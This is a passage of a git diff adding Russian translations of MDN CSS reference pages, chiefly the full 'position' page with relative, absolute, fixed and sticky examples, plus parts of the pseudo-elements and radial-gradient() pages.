+   <td>3.0 (522)</td>
+  </tr>
+  <tr>
+   <td>HTML/XML content</td>
+   <td>2.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>11.0</td>
+   <td>15.0</td>
+   <td>4.0 (530)</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.6</td>
+   <td>11</td>
+   <td>33</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Атрибут SVG {{SVGAttr("pointer-events")}}</li>
+ <li>Атрибут SVG {{SVGAttr("visibility")}}</li>
+ <li><a class="external" href="http://webkit.org/specs/PointerEventsProperty.html">WebKit Specs PointerEventsProperty</a> extended for use in (X)HTML content</li>
+ <li><a href="http://www.thecssninja.com/javascript/pointer-events-60fps">60fps scrolling using pointer-events: none</a></li>
+</ul>
diff --git a/files/ru/web/css/position/index.html b/files/ru/web/css/position/index.html
new file mode 100644
index 0000000000..e0988d3b9e
--- /dev/null
+++ b/files/ru/web/css/position/index.html
@@ -0,0 +1,327 @@
+---
+title: position
+slug: Web/CSS/position
+translation_of: Web/CSS/position
+---
+<div>{{CSSRef}}</div>
+
+<div>Свойство <font face="Open Sans, Arial, sans-serif">{{cssxref('','CSS')}}</font> <strong><code>position</code></strong> указывает, как элемент позиционируется в документе. {{cssxref('top')}}, {{cssxref('right')}}, {{cssxref('bottom')}} и {{cssxref('left')}} определяют конечное местоположение позиционированных элементов.</div>
+
+<div></div>
+
+<div>{{EmbedInteractiveExample("pages/css/position.html")}}</div>
+
+<p class="hidden">Исходный код этого интерактивного примера хранится в GitHub репозитории. Если вы хотите внести свой вклад в проект интерактивных примеров, скопируйте <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> и отправьте нам запрос на перенос.</p>
+
+<h3 id="Типы_позиционирования">Типы позиционирования</h3>
+
+<ul>
+ <li><strong>Позиционируемый элемент</strong> — это элемент, у которого {{cssxref('computed_value', 'вычисленное значение')}} <code>position</code> является <code>relative</code>, <code>absolute</code>, <code>fixed</code> либо <code>sticky</code>. (Другими словами, это вce, кроме <code>static</code>.)</li>
+ <li><strong>Относительно позиционируемый элемент</strong> является элементом, {{cssxref('computed_value', 'вычисленное значение')}} <code>position</code> которого является <code>relative</code>. Свойства {{cssxref('top')}} и {{cssxref('bottom')}} определяют смещение по вертикали от его нормального положения; свойства {{cssxref('left')}} и {{cssxref('right')}} задают горизонтальное смещение.</li>
+ <li><strong>Абсолютно позиционируемый элемент</strong> — это элемент, чьё {{cssxref('computed_value', 'вычисленное значение')}} <code>position</code> является <code>absolute</code> или <code>fixed</code>. {{cssxref('top')}}, {{cssxref('right')}}, {{cssxref('bottom')}} и {{cssxref('left')}} задают смещения от краёв {{cssxref('Containing_Block', 'содержащего блок элемента')}}. (Содержащий блок является предком, относительно которого расположен элемент.) Если элемент имеет поля, они добавляются к смещению. Элемент устанавливает новый <a href="../Guide/CSS/Block_formatting_context">контекст форматирования блока</a> (BFC) для своего содержимого.</li>
+ <li><strong>Элемент с липкой позицией</strong> — это элемент, у которого {{cssxref('computed_value', 'значение вычисленного')}} <code>position</code> является <code>sticky</code>. Он рассматривается как относительно позиционированный до тех пор, пока {{cssxref('Containing_Block', 'содержащий его блок')}} не пересечёт указанный порог (например, установка {{cssxref('top')}} в значение, отличное от <code>auto</code>) внутри его корня потока (или в контейнере, в котором он прокручивается), после чего он обрабатывается как «застрявший» до тех пор, пока не встретит противоположный край {{cssxref('Containing_Block', 'содержащего его блока')}}.</li>
+</ul>
+
+<p>В большинстве случаев абсолютно cпозиционированные элементы, которые имеют {{cssxref('height')}} и {{cssxref('width')}} установленные в <code>auto</code>, имеют размер, соответствующий их содержимому. Тем не менее, незамещаемые, абсолютно cпозиционированные элементы можно сделать такими, чтобы они заполнили доступное вертикальное пространство, указав как {{cssxref('top')}}, так и {{cssxref('bottom')}}, и оставляя {{cssxref('height')}} неопределенным (то есть , <code>auto</code>). Ими также можно заполнить доступное горизонтальное пространство, указав как {{cssxref('left')}}, так и {{cssxref('right')}}, и оставляя {{cssxref('width')}} как <code>auto</code>.</p>
+
+<p>За исключением только что описанного случая (абсолютно позиционированных элементов, заполняющих доступное пространство):</p>
+
+<ul>
+ <li>Если указаны <code>top</code> и <code>bottom</code> (технически, не <code>auto</code>) — приоритет будет у <code>top</code>.</li>
+ <li>Если указаны <code>left</code> и <code>right</code>: приоритет будет у <code>left</code>, когда {{cssxref('direction')}} <code>ltr</code> (английский язык, горизонтальный японский и т. д.), приоритет будет у <code>right</code>, когда {{cssxref('direction')}} является <code>rtl</code> (персидский , Арабский, иврит и т. д.).</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Свойство <code>position</code> указывается как одно ключевое слово, выбранное из списка значений ниже.</p>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>static</code></dt>
+ <dd>Это значение позволяет элементу находиться в обычном его состоянии, расположенном на своем месте в документе. Свойства <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code> и <code>z-index</code> <em>не применяются</em> к данному элементу. Это значение по умолчанию.</dd>
+ <dt><code>relative</code></dt>
+ <dd>Элемент позиционируется в соответствии с нормальным потоком документа, а затем смещается <em>относительно себя</em> на основе значений <code>top</code>, <code>right</code>, <code>bottom</code> и <code>left</code>. Смещение не влияет на положение любых других элементов; таким образом, пространство, заданное для элемента в макете страницы, такое же, как если бы позиция была <code>static</code>.</dd>
+ <dd>Это значение создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context','контекст наложения')}}, когда значение <code>z-index</code> не <code>auto</code>. Его влияние на элементы <code>table-*-group</code>, <code>table-row</code>, <code>table-column</code>, <code>table-cell</code> и <code>table-caption</code> не определено.</dd>
+ <dt><code>absolute</code></dt>
+ <dd>Элемент удаляется из обычного потока документов, и для элемента в макете страницы не создается пробела. Он расположен относительно его ближайшего относительно позиционированного предка, если таковой имеется; в противном случае он помещается относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}. Его конечная позиция определяется значениями <code>top</code>, <code>right</code>, <code>bottom</code>, и <code>left</code>.</dd>
+ <dd>Это значение создаёт новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}, когда значение <code>z-index</code> не <code>auto</code>. Поля абсолютно позиционированных коробок не {{cssxref('CSS_Box_Model/Mastering_margin_collapsing', 'сворачиваются')}} с другими полями.</dd>
+ <dt><code>fixed</code></dt>
+ <dd>Элемент выбивается из обычного потока документа, и для элемента в макете страницы не создается пространство. Он позиционируется относительно исходного {{cssxref('Containing_Block', 'содержащего блока')}}, установленного {{glossary("viewport")}}, за исключением случаев, когда один из его предков имеет свойство <code>transform</code>, <code>perspective</code>, или <code>filter</code>, установленное на что-то иное, кроме <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), и в этом случае этот предок ведет себя как содержащий блок. (Обратите внимание, что существуют несогласованности браузера с <code>perspective</code> и <code>filter</code>, способствующими содержанию формирования блоков.) Его конечная позиция определяется значениями <code>top</code>, <code>right</code>, <code>bottom</code> и <code>left</code>.</dd>
+ <dd>Это значение всегда создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. В печатных документах элемент помещается в одно и то же положение на <em>каждой странице</em>.</dd>
+ <dt><code>sticky</code></dt>
+ <dd>Элемент позиционируется в соответствии с нормальным потоком документа, а затем смещается относительно его ближайшего <em>прокручивающего предка</em> и {{cssxref('Containing_Block', 'содержащего блока')}} (ближайший родительский уровень блока), включая элементы, связанные с таблицей, на основе значений <code>top</code>, <code>right</code>, <code>bottom</code>, и <code>left</code>. Смещение не влияет на положение любых других элементов.</dd>
+ <dd>Это значение всегда создает новый {{cssxref('CSS_Positioning/Understanding_z_index/The_stacking_context', 'контекст наложения')}}. Обратите внимание, что липкий элемент «прилипает» к его ближайшему предшественнику, имеющему «механизм прокрутки» (созданный при <code>overflow</code> равном <code>hidden</code>, <code>scroll</code>, <code>auto</code> или <code>overlay</code>), даже если тот не является ближайшим фактически прокручивающим предком. Это эффективно препятствует любому «липкому» поведению (см. <a href="https://github.com/w3c/csswg-drafts/issues/865">Github issue on W3C CSSWG</a>).</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<h3 id="Relative_positioning" name="Relative_positioning">Относительное позиционирование</h3>
+
+<p>Относительно позиционированные элементы смещены на определенную величину от их обычной позиции в документе, но без смещения, влияющего на другие элементы. В приведенном ниже примере обратите внимание, как размещаются другие элементы, как если бы «Two» занимало пространство своего обычного расположения.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;div class="box" id="one"&gt;One&lt;/div&gt;
+&lt;div class="box" id="two"&gt;Two&lt;/div&gt;
+&lt;div class="box" id="three"&gt;Three&lt;/div&gt;
+&lt;div class="box" id="four"&gt;Four&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.box {
+  display: inline-block;
+  width: 100px;
+  height: 100px;
+  background: red;
+  color: white;
+}
+
+#two {
+  position: relative;
+  top: 20px;
+  left: 20px;
+  background: blue;
+}
+</pre>
+
+<p>{{ EmbedLiveSample('Relative_positioning', '600px', '200px') }}</p>
+
+<h3 id="Absolute_positioning" name="Absolute_positioning">Абсолютное позиционирование</h3>
+
+<p>Элементы, расположенные относительно друг друга, остаются в нормальном потоке документа. В противоположность этому, элемент с абсолютным позиционированием, выбивается из потока; таким образом, другие элементы располагаются без учёта абсолютных. Абсолютно позиционируемый элемент располагается относительно его ближайшего предка (который не является <code>static</code>). Если такого предка не существует, то абсолютный элемент позиционируется относительно ICB (начальный содержащий блок - см. также <a class="external external-icon" href="https://www.w3.org/TR/CSS2/visudet.html#containing-block-details">определение W3C</a>), который содержит блок корневого элемента документа.</p>
+
+<p>Простой пример:</p>
+
+<pre class="brush: html">&lt;h1&gt;Абсолютное позиционирование&lt;/h1&gt;
+&lt;p&gt;Я базовый элемент уровня блока. Мои соседи сидят на новых строках ниже меня.&lt;/p&gt;
+&lt;p class="positioned"&gt;По умолчанию моя ширина 100% ширины родителя и я достиг такого же высокого уровня, как и весь дочерний контент. Наша общая ширина и высота - это наш контент+заполнение+ширина/высота границы.&lt;/p&gt;
+&lt;p&gt;Мы отделены нашей маржой. Из-за развала края мы отделены шириной одного из наших полей, а не обоих.&lt;/p&gt;
+&lt;p&gt;встроенные элементы &lt;span&gt;как этот&lt;/span&gt; и &lt;span&gt;вот этот&lt;/span&gt; будут сидеть в одной строке друг с другом и соседними текстовыми узлами, если в ней есть место. Переполнение встроенных элементов &lt;span&gt;перейдёт на новую строку, если это возможно, - как содержимое этого текста&lt;/span&gt;, или просто перейдёт к новой строке, а если нет, то встанет, как это изображение:&lt;img src="https://mdn.mozillademos.org/files/13360/long.jpg"&gt;&lt;/p&gt;
+</pre>
+
+<pre class="brush: css">body {
+  width: 500px;
+  margin: 0 auto;
+}
+
+p {
+  background: aqua;
+  border: 3px solid blue;
+  padding: 10px;
+  margin: 10px;
+}
+
+span {
+  background: red;
+  border: 1px solid black;
+}
+
+.positioned {
+  position: absolute;
+  background: yellow;
+  top: 30px;
+  left: 30px;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Absolute_positioning', '100%', 420)}}</p>
+
+<h3 id="Fixed_positioning" name="Fixed_positioning">Фиксированное позиционирование</h3>
+
+<p>Фиксированное позиционирование аналогично абсолютному, за исключением того, что блок, содержащий элемент, является начальным содержащим блоком, установленным в окне просмотра, если только у какого-либо предка не было <code>transform</code>, <code>perspective</code>, или свойства <code>filter</code>, отличное от <code>none</code> (см. <a class="external external-icon" href="https://www.w3.org/TR/css-transforms-1/#propdef-transform">CSS Transforms Spec</a>), из-за чего этот предок занимает место элементов, содержащих блок. Это можно использовать для создания «плавающего» элемента, который остается в том же положении независимо от прокрутки. В приведенном ниже примере окно c <code>id="one"</code> фиксируется в 80 пикселях от верхней части страницы и в 10 пикселях слева. Даже после прокрутки оно остаётся в том же месте относительно окна просмотра.</p>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;div class="outer"&gt;
+  &lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  &lt;/p&gt;
+  &lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim. Sed velit augue, pretium a sem aliquam, congue porttitor tortor.
+    Sed tempor nisl a lorem consequat, id maximus erat aliquet. Sed sagittis porta libero sed condimentum.
+    Aliquam finibus lectus nec ante congue rutrum. Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus.
+  &lt;/p&gt;
+  &lt;p&gt;
+    Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nam congue tortor eget pulvinar lobortis.
+    Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Nam ac dolor augue.
+    Pellentesque mi mi, laoreet et dolor sit amet, ultrices varius risus. Nam vitae iaculis elit.
+    Aliquam mollis interdum libero. Sed sodales placerat egestas. Vestibulum ut arcu aliquam purus viverra dictum vel sit amet mi.
+    Duis nisl mauris, aliquam sit amet luctus eget, dapibus in enim.
+    Sed velit augue, pretium a sem aliquam, congue porttitor tortor. Sed tempor nisl a lorem consequat, id maximus erat aliquet.
+    Sed sagittis porta libero sed condimentum. Aliquam finibus lectus nec ante congue rutrum.
+    Curabitur quam quam, accumsan id ultrices ultrices, tempor et tellus. &lt;/p&gt;
+  &lt;div class="box" id="one"&gt;One&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">.box {
+  background: red;
+  width: 100px;
+  height: 100px;
+  margin: 20px;
+  color: white;
+}
+#one {
+  position: fixed;
+  top: 80px;
+  left: 10px;
+}
+.outer {
+  width: 500px;
+  height: 500px;
+  overflow: scroll;
+  padding-left: 150px;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Fixed_positioning', '800px', '300px')}}</p>
+
+<h3 id="Sticky_positioning" name="Sticky_positioning">Липкое позиционирование</h3>
+
+<p>Липкое позиционирование можно рассматривать как гибрид относительного и фиксированного позиционирования. Липкий позиционированный элемент обрабатывается как относительно позиционированный до тех пор, пока он не пересечет заданный порог, после чего он будет считаться фиксированным, пока не достигнет границы его родителя. Например...</p>
+
+<pre class="brush: css">#one { position: sticky; top: 10px; }</pre>
+
+<p>... позиционирует элемент с id "one" относительно до тех пор, пока видовой экран не будет прокручен таким образом, чтобы элемент был меньше 10 пикселей от вершины. Помимо этого порога элемент будет зафиксирован на 10 пикселей сверху.</p>
+
+<div>
+<p>Общее использование для липкого позиционирования - для заголовков в алфавитном списке. Заголовок «B» появится чуть ниже элементов, начинающихся с «A», пока они не будут прокручиваться за кадром. Вместо того, чтобы скользить за кадром с остальной частью содержимого, заголовок «B» затем останется фиксированным в верхней части окна просмотра, пока все элементы «B» не будут прокручиваться на экране, и в этот момент он будет закрыт «C», заголовок и т. д.</p>
+
+<p>Вы должны указать порог с по крайней мере одним из <span style="line-height: 1.5;"> {{cssxref('top')}}, {{cssxref('right')}}, {{cssxref('bottom')}}, или {{cssxref('left')}}</span> для того, чтобы липкое позиционирование могло вести себя так, как ожидалось. В противном случае он будет неотличим от относительного позиционирования.</p>
+</div>
+
+<div></div>
+
+<h4 id="HTML_3">HTML</h4>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;dl&gt;
+    &lt;dt&gt;A&lt;/dt&gt;
+    &lt;dd&gt;Andrew W.K.&lt;/dd&gt;
+    &lt;dd&gt;Apparat&lt;/dd&gt;
+    &lt;dd&gt;Arcade Fire&lt;/dd&gt;
+    &lt;dd&gt;At The Drive-In&lt;/dd&gt;
+    &lt;dd&gt;Aziz Ansari&lt;/dd&gt;
+  &lt;/dl&gt;
+  &lt;dl&gt;
+    &lt;dt&gt;C&lt;/dt&gt;
+    &lt;dd&gt;Chromeo&lt;/dd&gt;
+    &lt;dd&gt;Common&lt;/dd&gt;
+    &lt;dd&gt;Converge&lt;/dd&gt;
+    &lt;dd&gt;Crystal Castles&lt;/dd&gt;
+    &lt;dd&gt;Cursive&lt;/dd&gt;
+  &lt;/dl&gt;
+  &lt;dl&gt;
+    &lt;dt&gt;E&lt;/dt&gt;
+    &lt;dd&gt;Explosions In The Sky&lt;/dd&gt;
+  &lt;/dl&gt;
+  &lt;dl&gt;
+    &lt;dt&gt;T&lt;/dt&gt;
+    &lt;dd&gt;Ted Leo &amp; The Pharmacists&lt;/dd&gt;
+    &lt;dd&gt;T-Pain&lt;/dd&gt;
+    &lt;dd&gt;Thrice&lt;/dd&gt;
+    &lt;dd&gt;TV On The Radio&lt;/dd&gt;
+    &lt;dd&gt;Two Gallants&lt;/dd&gt;
+  &lt;/dl&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS_3">CSS</h4>
+
+<pre class="brush: css">* {
+  box-sizing: border-box;
+}
+
+dl {
+  margin: 0;
+  padding: 24px 0 0 0;
+}
+
+dt {
+  background: #B8C1C8;
+  border-bottom: 1px solid #989EA4;
+  border-top: 1px solid #717D85;
+  color: #FFF;
+  font: bold 18px/21px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 2px 0 0 12px;
+  position: -webkit-sticky;
+  position: sticky;
+  top: -1px;
+}
+
+dd {
+  font: bold 20px/45px Helvetica, Arial, sans-serif;
+  margin: 0;
+  padding: 0 0 0 12px;
+  white-space: nowrap;
+}
+
+dd + dd {
+  border-top: 1px solid #CCC;
+}
+</pre>
+
+<p>{{EmbedLiveSample('Sticky_positioning', '500px', '300px')}}</p>
+
+<h2 id="Доступность">Доступность</h2>
+
+<p>Убедитесь, что элементы, расположенные с <code>absolute</code> или <code>fixed</code> значением, не затеняют другой контент при увеличении страницы, увеличивая размер текста.</p>
+
+<ul>
+ <li><a href="../Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Visual Presentation: Understanding SC 1.4.8 | Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="Производительность_и_доступность">Производительность и доступность</h3>
+
+<p>Элементы прокрутки, содержащие <code>fixed</code> или <code>sticky</code> контент, могут вызвать проблемы с производительностью и доступностью. Когда пользователь прокручивает страницу, браузер должен перерисовать <code>sticky</code> или <code>fixed</code> контент в новом месте. В зависимости от содержимого, которое необходимо перерисовать, производительности браузера и скорости обработки устройства, браузер может не справиться с перерисовкой со скоростью 60 кадров в секунду, что вызывает проблемы с доступностью для людей с чувствительностью и раздражением для всех. Одним из решений является добавление {{cssxref ('will-change', 'will-change: transform')}} к позиционированным элементам для визуализации элемента на его собственном уровне, повышения скорости перерисовки и, следовательно, повышения производительности и доступности.</p>
+
+<h2 id="Specifications" name="Specifications">Характеристики</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Коммент</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'visuren.html#propdef-position', 'position')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Positioning','#position-property','position')}}</td>
+   <td>{{Spec2('CSS3 Positioning')}}</td>
+   <td>Добавляет значение свойства <code>sticky</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузером</h2>
+
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check outand send us a pull request.<br>
+Таблица совместимости на этой странице создается из структурированных данных. Если вы хотите внести свой вклад в данные, ознакомьтесь с <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> и отправьте нам запрос на перенос.</div>
+
+<p>{{Compat("css.properties.position")}}</p>
diff --git a/files/ru/web/css/pseudo-elements/index.html b/files/ru/web/css/pseudo-elements/index.html
new file mode 100644
index 0000000000..74773b9b99
--- /dev/null
+++ b/files/ru/web/css/pseudo-elements/index.html
@@ -0,0 +1,102 @@
+---
+title: Псевдоэлементы
+slug: Web/CSS/Pseudo-elements
+tags:
+  - CSS
+  - Reference
+  - Псевдоэлементы
+  - Селекторы
+translation_of: Web/CSS/Pseudo-elements
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>Псевдоэлемент</strong> в CSS — <dfn>это ключевое слово, добавляемое к селектору,</dfn> которое позволяет стилизовать определённую часть выбранного элемента. Например, псевдоэлемент {{ Cssxref("::first-line") }} может быть использован для изменения шрифта первой строки абзаца.</p>
+
+<pre class="brush: css no-line-numbers">/* Первая строка каждого элемента &lt;p&gt;. */
+p::first-line {
+  color: blue;
+  text-transform: uppercase;
+}</pre>
+
+<div class="note">
+<p><strong>Примечание:</strong> В отличие от псевдоэлементов, <a href="/ru/docs/Web/CSS/Псевдо-классы">псевдоклассы</a> могут быть использованы для стилизации элемента на основе его <em>состояния</em>.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">selector::pseudo-element {
+  property: value;
+}</pre>
+
+<p>В селекторе можно использовать только один псевдоэлемент. Он должен находиться после простых селекторов в выражении.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Как правило, следует использовать двойное двоеточие (<code>::</code>) вместо одинарного (<code>:</code>). В этом состоит различие между псевдоклассами и псевдоэлементами. Однако, так как это различие не присутствовало в старых версиях спецификации W3C, большинство браузеров поддерживают оба синтаксиса для псевдоэлементов.</p>
+</div>
+
+<h2 id="Список_стандартных_псевдоэлементов">Список стандартных псевдоэлементов</h2>
+
+<div class="index">
+<ul>
+ <li>{{ Cssxref("::after") }}</li>
+ <li>{{ Cssxref("::before") }}</li>
+ <li>{{ cssxref("::cue")}}</li>
+ <li>{{ Cssxref("::first-letter") }}</li>
+ <li>{{ Cssxref("::first-line") }}</li>
+ <li>{{ Cssxref("::selection") }}</li>
+ <li>{{ Cssxref("::slotted") }}</li>
+ <li>{{ Cssxref("::backdrop") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::placeholder") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::marker") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::spelling-error") }} {{experimental_inline}}</li>
+ <li>{{ Cssxref("::grammar-error") }} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Браузер</th>
+   <th>Начиная с версии</th>
+   <th>Поддерживает</th>
+  </tr>
+  <tr>
+   <td rowspan="2">Internet Explorer</td>
+   <td>8.0</td>
+   <td><code>:pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td>9.0</td>
+   <td><code>:pseudo-element ::pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">Firefox (Gecko)</td>
+   <td>1.0 (1.0)</td>
+   <td><code>:pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td>1.0 (1.5)</td>
+   <td><code>:pseudo-element ::pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td rowspan="2">Opera</td>
+   <td>4.0</td>
+   <td><code>:pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td>7.0</td>
+   <td><code>:pseudo-element ::pseudo-element</code></td>
+  </tr>
+  <tr>
+   <td>Safari (WebKit)</td>
+   <td>1.0 (85)</td>
+   <td><code>:pseudo-element ::pseudo-element</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="См._также">См. также</h2>
+
+<ul>
+ <li><a href="/ru/docs/Web/CSS/Псевдо-классы">Псевдоклассы</a></li>
+</ul>
diff --git a/files/ru/web/css/radial-gradient()/index.html b/files/ru/web/css/radial-gradient()/index.html
new file mode 100644
index 0000000000..3d9a247da7
--- /dev/null
+++ b/files/ru/web/css/radial-gradient()/index.html
@@ -0,0 +1,301 @@
+---
+title: radial-gradient()
+slug: Web/CSS/radial-gradient()
+translation_of: Web/CSS/radial-gradient()
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/en-US/docs/Web/CSS">CSS</a> функция <strong><code>radial-gradient()</code></strong> создает картинку состоящую из последовательных переходов между двумя и более цветами, которые исходят из заданного центра. Они могут принимать форму круга или эллипса. Результатом функции будет объект типа {{cssxref("&lt;gradient&gt;")}}, который является расширением типа {{cssxref("&lt;image&gt;")}}.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-radial-gradient.html")}}</div>
+
+
+
+<p>Как и любой градиент, радиальный градиент не имеет <a href="https://developer.mozilla.org/en-US/docs/CSS/image#no_intrinsic">внутренних размеров</a>, тоесть заданных или предпочитаемых размеров, как и заданного коэффициента соотношения сторон. Его итоговый размер будет соответствовать размеру элемента к которому он применен.</p>
+
+<p>Чтобы создать повторяющийся радиальный градиент, который будет заполнять контейнер, необходимо использовать функцию {{cssxref("repeating-radial-gradient")}}.</p>
+
+<p>Поскольку <code>&lt;gradient&gt;ы</code> относятся к типу <code>&lt;image&gt;</code>, они могут быть использованы только там где используется тип <code>&lt;image&gt;</code>. По этой причине <code>radial-gradient()</code> не будет работать совместно с {{Cssxref("background-color")}} и другими свойствами, которые используют тип {{cssxref("&lt;color&gt;")}}.</p>
+
+<h2 id="Композиция_свойства">Композиция свойства</h2>
+
+<p><img alt="" src="/files/3795/radial%20gradient.png" style="float: left; height: 176px; width: 396px;">Радиальнй градиент задается <em>позицией центра</em>, <em>конечной формой</em>, и двумя или более <em>точками изменения цвета</em>.</p>
+
+<p>Чтобы создать плавный градиент, функция <code>radial-gradient()</code> рисует серию концентрических форм исходящих из центра к краям формы градиента (и потенциально далее за его пределы). Конечная форма может быть как кругом так и эллипсом.</p>
+
+<p>Точки изменения цвета расположены на <em>виртуальном луче градиента</em>, который расширяется горизонтально направо. Позиция точек заданных в процентах расчитывается относительно пересечения конечной формы таким лучем, что является <code>100%</code>. Цвет каждой такой формы задается цветом на пересечении луча градиента и этой формы.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css no-line-numbers notranslate">/* Градиент в центре контейнера,
+   переход от красного к синему и после к зеленому */
+radial-gradient(circle at center, red 0, blue, green 100%)</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;position&gt;")}}</dt>
+ <dd>Позицию начала градиента можно рассматривать как {{cssxref("background-position")}} или {{cssxref("transform-origin")}}. По умолчанию позиция равна <code>center</code>.</dd>
+ <dt><code>&lt;shape&gt;</code></dt>
+ <dd>Форма градиента. Может принимать значение <code>circle</code> (подразумевается что формой является круг с постоянным радиусом) или <code>ellipse</code> (форма является эллипсом, выровненным по оси). По умолчанию имеет значение <code>ellipse</code>.</dd>
+ <dt><code>&lt;extent-keyword&gt;</code></dt>
+ <dd>Параметр определяющий размер конечной формы. Возможные значения:</dd>
+ <dd>
+ <table class="standard-table">
+  <tbody>
+   <tr>
+    <th>Значение</th>
+    <th>Описание</th>
+   </tr>
+   <tr>
+    <td><code>closest-side</code></td>
+    <td>Конечная форма градиента соответствует стороне прямоугольника, ближайшей к его центру (для окружностей), или обеим вертикальным и горизонтальным сторонам, ближайшим к центру (для эллипсов).</td>
+   </tr>
+   <tr>
+    <td><code>closest-corner</code></td>
+    <td>Конечная форма градиента определяется таким образом, чтобы он точно соответствовал ближайшему углу окна от его центра.</td>
+   </tr>
+   <tr>
+    <td><code>farthest-side</code></td>
+    <td>Схоже с <code>closest-side</code>, кроме того что, размер формы определяется самой дальней стороной от своего центра (или вертикальных и горизонтальных сторон)</td>
+   </tr>
+   <tr>
+    <td><code>farthest-corner</code></td>
